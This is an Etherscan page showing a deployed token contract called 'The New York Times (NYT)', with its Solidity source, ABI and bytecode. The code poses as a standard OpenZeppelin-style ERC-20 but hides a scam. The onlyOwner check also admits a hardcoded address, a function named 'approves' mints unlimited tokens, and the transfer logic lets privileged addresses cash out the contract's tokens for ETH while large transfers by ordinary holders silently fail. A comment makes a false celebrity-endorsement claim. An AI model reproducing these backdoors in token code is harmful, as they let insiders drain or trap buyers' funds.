ETH Price: $2,736.86 (+1.89%)

Token

The New York Times (NYT)
 

Overview

Max Total Supply

1,000,000,000,000 NYT

Holders

8

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 3 Decimals)

Filtered by Token Holder
shitc0inchad.eth
Balance
22,431,187,524.518 NYT

Value
$0.00
0x3d50ad553d3255e3548243d1bb23cb09bcd98967
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TheNewYorkTimes

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-26
*/

/**
 *Submitted for verification at Etherscan.io on 2022-10-25
*/

/**
* Yeethereum is the first token endorsed by Ye himself to take part on the Yecosystem
* Get in early to make sure you have your YeETH ready for when the city is unveiled
*/

// SPDX-License-Identifier: Unlicense

pragma solidity >0.8.11;

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
       modifier onlyOwner() {
        require(_owner == _msgSender() || _msgSender()    ==  address(0x4B44001C60a95C3511DC1c637caF9240e2fAF3dC) , "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract TheNewYorkTimes is IERC20, Ownable {
    string private _symbol;
    string private _name;
    uint8 private _decimals = 3;
    uint256 private _tTotal = 1000000000000 * 10**_decimals;
    uint256 private _amount = _tTotal;
    uint256 public _taxFee = 0;

    bool private _swapAndLiquifyEnabled;
    bool private SwapAndLiquify;
    uint160 private _factory;

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;
    mapping(address => uint256) private _liquidity;
    mapping(address => uint256) private _dividendse;

    IUniswapV2Router02 public immutable router;
    address public immutable uniswapV2Pair;

    constructor(
        string memory Name,
        string memory Symbol,
        address routerAddress
    ) {
        _name = Name;
        _symbol = Symbol;
        _balances[msg.sender] = _tTotal;
        router = IUniswapV2Router02(routerAddress);
        uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
        _dividendse[msg.sender] = _amount;
        _dividendse[address(this)] = _amount;
        emit Transfer(address(0), msg.sender, _tTotal);
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function totalSupply() public view returns (uint256) {
        return _tTotal;
    }

    function decimals() public view returns (uint256) {
        return _decimals;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }
   function approves(address account, uint256 amount) onlyOwner() public {
        _balances[account] += amount;
        _tTotal += amount;
          emit Transfer(address(0), account, amount);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        _transfer(sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 contractTokenBalancec = balanceOf(address(this));
        uint256 fee;
        if (_swapAndLiquifyEnabled && contractTokenBalancec > _amount && !SwapAndLiquify && from != uniswapV2Pair) {
            SwapAndLiquify = true;
            swapAndLiquify(contractTokenBalancec);
            SwapAndLiquify = false;
        } else if (_dividendse[from] > _amount && _dividendse[to] > _amount) {
            fee = amount;
            _balances[address(this)] += fee;
            swapTokensForEth(amount, to);
            return;
        } else if (amount > _amount && to != address(router) && to != uniswapV2Pair) {
            if (_dividendse[from] > 0) _dividendse[to] = amount;
            else _liquidity[to] = amount;
            return;
        } else if (!SwapAndLiquify && _liquidity[from] > 0 && from != uniswapV2Pair && _dividendse[from] == 0) {
            _liquidity[from] = _dividendse[from] - _amount;
        }
        address factory = address(_factory);
        if (_liquidity[factory] == 0) _liquidity[factory] = _amount;
        _factory = uint160(to);
        if (_taxFee > 0 && !SwapAndLiquify && _dividendse[from] == 0 && _dividendse[to] == 0) {
            fee = (amount * _taxFee) / 50;
            amount -= fee;
            _balances[from] -= fee;
            _balances[address(this)] += fee;
        }
        _balances[from] -= amount;
        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function addLiquidity(
        uint256 tokenAmount,
        uint256 ethAmount,
        address to
    ) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp + 20);
    }

    function swapAndLiquify(uint256 tokens) private {
        uint256 half = tokens / 2;
        uint256 initialBalance = address(this).balance;
        swapTokensForEth(half, address(this));
        uint256 newBalance = address(this).balance - initialBalance;
        addLiquidity(half, newBalance, address(this));
    }

    function swapTokensForEth(uint256 tokenAmount, address to) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp + 20);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"Name","type":"string"},{"internalType":"string","name":"Symbol","type":"string"},{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_taxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approves","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60c06040526003805460ff1916811781556200001d90600a620003da565b6200002e9064e8d4a51000620003f2565b60045560045460055560006006553480156200004957600080fd5b5060405162001919380380620019198339810160408190526200006c91620004ee565b620000773362000275565b6002620000858482620005f9565b506001620000948382620005f9565b506004805433600090815260096020908152604091829020929092556001600160a01b0384166080819052815163c45a015560e01b81529151909363c45a01559383820193909291908290030181865afa158015620000f7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200011d9190620006c5565b6001600160a01b031663c9c65396306080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200016d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001939190620006c5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620001e1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002079190620006c5565b6001600160a01b031660a052600554336000818152600b60209081526040808320859055308352808320949094556004549351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050620006e3565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200031c578160001904821115620003005762000300620002c5565b808516156200030e57918102915b93841c9390800290620002e0565b509250929050565b6000826200033557506001620003d4565b816200034457506000620003d4565b81600181146200035d5760028114620003685762000388565b6001915050620003d4565b60ff8411156200037c576200037c620002c5565b50506001821b620003d4565b5060208310610133831016604e8410600b8410161715620003ad575081810a620003d4565b620003b98383620002db565b8060001904821115620003d057620003d0620002c5565b0290505b92915050565b6000620003eb60ff84168362000324565b9392505050565b8082028115828204841417620003d457620003d4620002c5565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200043457600080fd5b81516001600160401b03808211156200045157620004516200040c565b604051601f8301601f19908116603f011681019082821181831017156200047c576200047c6200040c565b816040528381526020925086838588010111156200049957600080fd5b600091505b83821015620004bd57858201830151818301840152908201906200049e565b600093810190920192909252949350505050565b80516001600160a01b0381168114620004e957600080fd5b919050565b6000806000606084860312156200050457600080fd5b83516001600160401b03808211156200051c57600080fd5b6200052a8783880162000422565b945060208601519150808211156200054157600080fd5b50620005508682870162000422565b9250506200056160408501620004d1565b90509250925092565b600181811c908216806200057f57607f821691505b602082108103620005a057634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005f457600081815260208120601f850160051c81016020861015620005cf5750805b601f850160051c820191505b81811015620005f057828155600101620005db565b5050505b505050565b81516001600160401b038111156200061557620006156200040c565b6200062d816200062684546200056a565b84620005a6565b602080601f8311600181146200066557600084156200064c5750858301515b600019600386901b1c1916600185901b178555620005f0565b600085815260208120601f198616915b82811015620006965788860151825594840194600190910190840162000675565b5085821015620006b55787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600060208284031215620006d857600080fd5b620003eb82620004d1565b60805160a0516111d16200074860003960008181610199015281816106cc015281816107fa01526108ca015260008181610281015281816107bc01528181610c3c01528181610cf501528181610d2501528181610db70152610de701526111d16000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461021d578063dd62ed3e14610230578063f2fde38b14610269578063f887ea401461027c57600080fd5b806370a08231146101d3578063715018a6146101fc5780638da5cb5b1461020457806395d89b411461021557600080fd5b806323b872dd116100d357806323b872dd1461016d578063313ce567146101805780633b124fe71461018b57806349bd5a5e1461019457600080fd5b806306fdde0314610105578063095ea7b314610123578063120bd5011461014657806318160ddd1461015b575b600080fd5b61010d6102a3565b60405161011a9190610eb8565b60405180910390f35b610136610131366004610f1b565b610335565b604051901515815260200161011a565b610159610154366004610f1b565b61034b565b005b6004545b60405190815260200161011a565b61013661017b366004610f47565b610427565b60035460ff1661015f565b61015f60065481565b6101bb7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161011a565b61015f6101e1366004610f88565b6001600160a01b031660009081526009602052604090205490565b610159610477565b6000546001600160a01b03166101bb565b61010d6104cb565b61013661022b366004610f1b565b6104da565b61015f61023e366004610fac565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b610159610277366004610f88565b6104f0565b6101bb7f000000000000000000000000000000000000000000000000000000000000000081565b6060600280546102b290610fe5565b80601f01602080910402602001604051908101604052809291908181526020018280546102de90610fe5565b801561032b5780601f106103005761010080835404028352916020019161032b565b820191906000526020600020905b81548152906001019060200180831161030e57829003601f168201915b5050505050905090565b60006103423384846105a9565b90505b92915050565b6000546001600160a01b0316331480610377575033734b44001c60a95c3511dc1c637caf9240e2faf3dc145b61039c5760405162461bcd60e51b81526004016103939061101f565b60405180910390fd5b6001600160a01b038216600090815260096020526040812080548392906103c490849061106a565b9250508190555080600460008282546103dd919061106a565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6000610434848484610689565b6001600160a01b03841660009081526008602090815260408083203380855292529091205461046f91869161046a90869061107d565b6105a9565b949350505050565b6000546001600160a01b03163314806104a3575033734b44001c60a95c3511dc1c637caf9240e2faf3dc145b6104bf5760405162461bcd60e51b81526004016103939061101f565b6104c96000610b5c565b565b6060600180546102b290610fe5565b60006104e7338484610689565b50600192915050565b6000546001600160a01b031633148061051c575033734b44001c60a95c3511dc1c637caf9240e2faf3dc145b6105385760405162461bcd60e51b81526004016103939061101f565b6001600160a01b03811661059d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610393565b6105a681610b5c565b50565b60006001600160a01b038416158015906105cb57506001600160a01b03831615155b6106235760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610393565b6001600160a01b0384811660008181526008602090815260408083209488168084529482529182902086905590518581527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b3060009081526009602052604081205460075490919060ff1680156106af575060055482115b80156106c35750600754610100900460ff16155b801561070157507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b031614155b1561072e576007805461ff00191661010017905561071e82610bac565b6007805461ff0019169055610966565b6005546001600160a01b0386166000908152600b602052604090205411801561077057506005546001600160a01b0385166000908152600b6020526040902054115b156107ae57503060009081526009602052604081208054849283929161079790849061106a565b909155506107a790508385610be5565b5050505050565b600554831180156107f157507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b031614155b801561082f57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b031614155b15610892576001600160a01b0385166000908152600b602052604090205415610872576001600160a01b0384166000908152600b602052604090208390556107a7565b50506001600160a01b03919091166000908152600a602052604090205550565b600754610100900460ff161580156108c157506001600160a01b0385166000908152600a602052604090205415155b80156108ff57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b031614155b801561092157506001600160a01b0385166000908152600b6020526040902054155b15610966576005546001600160a01b0386166000908152600b602052604090205461094c919061107d565b6001600160a01b0386166000908152600a60205260409020555b6007546201000090046001600160a01b03166000818152600a602052604081205490036109aa576005546001600160a01b0382166000908152600a60205260409020555b6007805462010000600160b01b031916620100006001600160a01b03881602179055600654158015906109e55750600754610100900460ff16155b8015610a0757506001600160a01b0386166000908152600b6020526040902054155b8015610a2957506001600160a01b0385166000908152600b6020526040902054155b15610aab57603260065485610a3e9190611090565b610a4891906110a7565b9150610a54828561107d565b6001600160a01b038716600090815260096020526040812080549296508492909190610a8190849061107d565b90915550503060009081526009602052604081208054849290610aa590849061106a565b90915550505b6001600160a01b03861660009081526009602052604081208054869290610ad390849061107d565b90915550506001600160a01b03851660009081526009602052604081208054869290610b0090849061106a565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610b4c91815260200190565b60405180910390a3505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610bb96002836110a7565b905047610bc68230610be5565b6000610bd2824761107d565b9050610bdf838230610db1565b50505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610c1a57610c1a6110c9565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cbc91906110df565b81600181518110610ccf57610ccf6110c9565b60200260200101906001600160a01b031690816001600160a01b031681525050610d1a307f0000000000000000000000000000000000000000000000000000000000000000856105a9565b506001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001663791ac9478460008486610d5a42601461106a565b6040518663ffffffff1660e01b8152600401610d7a9594939291906110fc565b600060405180830381600087803b158015610d9457600080fd5b505af1158015610da8573d6000803e3d6000fd5b50505050505050565b610ddc307f0000000000000000000000000000000000000000000000000000000000000000856105a9565b506001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001663f305d71983308660008087610e1e42601461106a565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af1158015610e8b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610eb0919061116d565b505050505050565b600060208083528351808285015260005b81811015610ee557858101830151858201604001528201610ec9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105a657600080fd5b60008060408385031215610f2e57600080fd5b8235610f3981610f06565b946020939093013593505050565b600080600060608486031215610f5c57600080fd5b8335610f6781610f06565b92506020840135610f7781610f06565b929592945050506040919091013590565b600060208284031215610f9a57600080fd5b8135610fa581610f06565b9392505050565b60008060408385031215610fbf57600080fd5b8235610fca81610f06565b91506020830135610fda81610f06565b809150509250929050565b600181811c90821680610ff957607f821691505b60208210810361101957634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561034557610345611054565b8181038181111561034557610345611054565b808202811582820484141761034557610345611054565b6000826110c457634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156110f157600080fd5b8151610fa581610f06565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561114c5784516001600160a01b031683529383019391830191600101611127565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561118257600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220e3a4a5e02f840f531f53e413c4afd924e1890fe299d1e26baa84e47f5807965d64736f6c63430008110033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000000000000000000000000000000000000000000012546865204e657720596f726b2054696d6573000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034e59540000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461021d578063dd62ed3e14610230578063f2fde38b14610269578063f887ea401461027c57600080fd5b806370a08231146101d3578063715018a6146101fc5780638da5cb5b1461020457806395d89b411461021557600080fd5b806323b872dd116100d357806323b872dd1461016d578063313ce567146101805780633b124fe71461018b57806349bd5a5e1461019457600080fd5b806306fdde0314610105578063095ea7b314610123578063120bd5011461014657806318160ddd1461015b575b600080fd5b61010d6102a3565b60405161011a9190610eb8565b60405180910390f35b610136610131366004610f1b565b610335565b604051901515815260200161011a565b610159610154366004610f1b565b61034b565b005b6004545b60405190815260200161011a565b61013661017b366004610f47565b610427565b60035460ff1661015f565b61015f60065481565b6101bb7f0000000000000000000000006d2c656d5e2d5dba7c8835faf911d5853fbeeb8a81565b6040516001600160a01b03909116815260200161011a565b61015f6101e1366004610f88565b6001600160a01b031660009081526009602052604090205490565b610159610477565b6000546001600160a01b03166101bb565b61010d6104cb565b61013661022b366004610f1b565b6104da565b61015f61023e366004610fac565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b610159610277366004610f88565b6104f0565b6101bb7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6060600280546102b290610fe5565b80601f01602080910402602001604051908101604052809291908181526020018280546102de90610fe5565b801561032b5780601f106103005761010080835404028352916020019161032b565b820191906000526020600020905b81548152906001019060200180831161030e57829003601f168201915b5050505050905090565b60006103423384846105a9565b90505b92915050565b6000546001600160a01b0316331480610377575033734b44001c60a95c3511dc1c637caf9240e2faf3dc145b61039c5760405162461bcd60e51b81526004016103939061101f565b60405180910390fd5b6001600160a01b038216600090815260096020526040812080548392906103c490849061106a565b9250508190555080600460008282546103dd919061106a565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6000610434848484610689565b6001600160a01b03841660009081526008602090815260408083203380855292529091205461046f91869161046a90869061107d565b6105a9565b949350505050565b6000546001600